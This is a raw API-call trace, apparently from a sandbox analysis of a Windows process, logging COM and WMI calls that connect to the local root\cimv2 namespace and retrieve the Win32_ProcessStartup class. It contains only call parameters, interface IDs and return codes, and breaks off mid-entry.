returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1130, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0060.051] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0060.052] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.052] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0060.052] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0060.052] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0060.052] IUnknown:Release (This=0x111f638) returned 0x1 [0060.054] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bec60e0) returned 0x0 [0060.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec60e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0060.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec60e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea11f0) returned 0x0 [0060.055] WbemDefPath:IUnknown:Release (This=0x1bec60e0) returned 0x0 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea11f0) returned 0x0 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0060.055] WbemDefPath:IUnknown:AddRef (This=0x1bea11f0) returned 0x3 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bec6120) returned 0x0 [0060.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec6120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.055] WbemDefPath:IUnknown:Release (This=0x1bec6120) returned 0x3 [0060.055] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0060.055] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0060.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0060.056] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x2 [0060.056] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x1 [0060.056] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0060.056] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0060.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea11f0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea11f0) returned 0x0 [0060.056] WbemDefPath:IUnknown:AddRef (This=0x1bea11f0) returned 0x3 [0060.056] WbemDefPath:IUnknown:Release (This=0x1bea11f0) returned 0x2 [0060.056] WbemDefPath:IWbemPath:SetText (This=0x1bea11f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0060.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea11f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0060.056] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.056] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0060.056] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0060.056] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0060.056] IUnknown:Release (This=0x111f638) returned 0x1 [0060.057] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1becfa30) returned 0x0 [0060.057] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa30, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0060.057] WbemLocator:IClassFactory:CreateInstance (in: This=0x1becfa30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1becfa50) returned 0x0 [0060.058] WbemLocator:IUnknown:Release (This=0x1becfa30) returned 0x0 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1becfa50) returned 0x0 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0060.058] WbemLocator:IUnknown:AddRef (This=0x1becfa50) returned 0x3 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0060.058] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0060.058] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0060.058] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0060.059] WbemLocator:IUnknown:Release (This=0x1becfa50) returned 0x2 [0060.059] WbemLocator:IUnknown:Release (This=0x1becfa50) returned 0x1 [0060.059] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0060.059] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0060.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1becfa50, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1becfa50) returned 0x0 [0060.059] WbemLocator:IUnknown:AddRef (This=0x1becfa50) returned 0x3 [0060.059] WbemLocator:IUnknown:Release (This=0x1becfa50) returned 0x2 [0060.059] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea11f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0060.059] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0060.059] WbemDefPath:IWbemPath:GetText (in: This=0x1bea11f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0060.059] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1becfa70) returned 0x0 [0060.059] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1becfa70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bea7dd0) returned 0x0 [0060.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7dd0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11df720) returned 0x0 [0060.183] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df720, pProxy=0x1bea7dd0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0060.183] WbemLocator:IUnknown:Release (This=0x11df720) returned 0x1 [0060.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7dd0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11df760) returned 0x0 [0060.183] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7dd0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11df720) returned 0x0 [0060.183] WbemLocator:IClientSecurity:SetBlanket (This=0x11df720, pProxy=0x1bea7dd0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0060.184] WbemLocator:IUnknown:Release (This=0x11df720) returned 0x2 [0060.184] WbemLocator:IUnknown:Release (This=0x11df760) returned 0x1 [0060.184] CoTaskMemFree (pv=0x1bed01a0) [0060.184] WbemLocator:IUnknown:AddRef (This=0x1bea7dd0) returned 0x2 [0060.184] WbemLocator:IUnknown:Release (This=0x1becfa70) returned 0x0 [0060.185] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0060.185] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0060.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7dd0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11df730) returned 0x0 [0060.185] WbemLocator:IRpcOptions:Query (in: This=0x11df730, pPrx=0x1becfad0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0060.185] WbemLocator:IUnknown:Release (This=0x11df730) returned 0x2 [0060.185] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0060.185] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0060.185] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea7dd0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bea7dd0) returned 0x0 [0060.185] WbemLocator:IUnknown:Release (This=0x1bea7dd0) returned 0x2 [0060.185] SysStringLen (param_1=0x0) returned 0x0 [0060.185] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0060.186] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1130, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0060.186] IWbemServices:GetObject (in: This=0x1bea7dd0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bebad20, ppCallResult=0x0) returned 0x0 [0060.188] IWbemClassObject:Get (in: This=0x1bebad20, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0060.188] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0060.188] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0060.188] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0060.188] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0060.188] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0060.188] IUnknown:Release (This=0x111f638) returned 0x1 [0060.190] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1becfa70) returned 0x0 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becfa70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0060.191] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becfa70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea12b0) returned 0x0 [0060.191] WbemDefPath:IUnknown:Release (This=0x1becfa70) returned 0x0 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea12b0) returned 0x0 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0060.191] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0060.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1becfa90) returned 0x0 [0060.191] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becfa90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.191] WbemDefPath:IUnknown:Release (This=0x1becfa90) returned 0x3 [0060.192] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0060.192] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0060.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0060.192] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0060.192] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0060.192] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0060.192] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0060.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea12b0) returned 0x0 [0060.192] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0060.192] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0060.192] WbemDefPath:IWbemPath:SetText (This=0x1bea12b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0060.192] IWbemClassObject:Get (in: This=0x1bebad20, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2ffb0*=0, plFlavor=0x2a2ffb4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a2ffb0*=19, plFlavor=0x2a2ffb4*=0) returned 0x0 [0060.193] 